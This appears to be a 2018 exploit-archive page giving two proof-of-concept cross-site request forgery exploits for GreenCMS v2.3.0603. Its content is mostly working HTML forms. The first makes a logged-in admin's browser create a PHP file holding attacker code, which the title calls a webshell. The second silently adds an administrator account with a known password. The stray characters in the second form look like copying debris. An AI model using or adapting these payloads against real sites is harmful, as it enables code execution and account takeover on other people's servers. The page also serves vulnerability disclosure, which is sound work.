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GreenCMS 2.3.0603 Cross Site Request Forgery

GreenCMS 2.3.0603 Cross Site Request Forgery
Posted Jun 3, 2018
Authored by xichao

GreenCMS version 2.3.0603 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
advisories | CVE-2018-11670, CVE-2018-11671
MD5 | e57861fdd513f54750775fc8e4ac2925

GreenCMS 2.3.0603 Cross Site Request Forgery

Change Mirror Download
Exploit 1 of 2:

# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11670

An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.

poc:

<span style="font-size:18px;"><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>csrftest</title>
</head>
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
<script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
<input type="hidden" name="cmd" value="put">
<input type="hidden" name="target" value="l1_eGMucGhw">
a <input type="hidden" name="content" value="<?php phpinfo();?>">
<button type="submit" value="Submit">WebShell</button>
</form>
</body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/38/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
https://github.com/GreenCMS/GreenCMS/issues/108

----------------
Exploit 2 of 2:

# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability add admin
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11671

An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that can add an admin account via index.php?m=admin&c=access&a=adduserhandle.

poc:

<span style="font-size:18px;"><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>csrftest</title>
</head>
aa<body>
aaaa<form action="http://127.0.0.1//14/index.php?m=admin&c=access&a=adduserhandle" method="POST" id="transfer" name="transfer">
aaaaaaaa<input type="hidden" name="user_id0" value="1">
aaaaaaaa<input type="hidden" name="user_login" value="test1">
aaaaaaaa<input type="hidden" name="password" value="test1">
aaaaaaaa<input type="hidden" name="rpassword" value="test1">
aaaaaaaa<input type="hidden" name="user_nicename" value="123">
aaaaaaaa<input type="hidden" name="user_email" value="123%40Qq.com">
aaaaaaaa<input type="hidden" name="user_url" value="www.baidu.com">
aaaaaaaa<input type="hidden" name="user_intro" value="test">
aaaaaaaa<input type="hidden" name="user_status" value="1">
aaaaaaaa<input type="hidden" name="role_id" value="1">
<button type="submit" value="Submit">add admin</button>
aaaaaa</form>
</body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/39/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11671
https://github.com/GreenCMS/GreenCMS/issues/109

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